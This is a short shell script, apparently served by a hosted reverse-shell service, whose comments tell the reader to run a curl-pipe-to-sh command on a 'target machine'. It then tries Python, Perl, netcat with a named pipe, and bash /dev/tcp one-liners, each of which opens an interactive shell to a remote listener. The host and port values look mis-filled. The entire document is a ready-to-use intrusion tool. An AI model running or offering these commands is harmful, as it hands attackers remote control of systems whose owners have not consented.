Reverse shell on zeit

reverse_shell.sh

# Reverse Shell
# https://shell.now.sh
#
# 1. On your machine:
#      nc -l 1337
#
# 2. On the target machine:
#      curl https://shell.now.sh/yourip:1337 | sh
#

if command -v python > /dev/null 2>&1; then
	python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("434",2337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
	exit;
fi

if command -v perl > /dev/null 2>&1; then
	perl -e 'use Socket;$i="434";$p=2337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
	exit;
fi

if command -v nc > /dev/null 2>&1; then
	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 434 2337 >/tmp/f
	exit;
fi

if command -v sh > /dev/null 2>&1; then
	/bin/sh -i >& /dev/tcp/434/2337 0>&1
	exit;
fi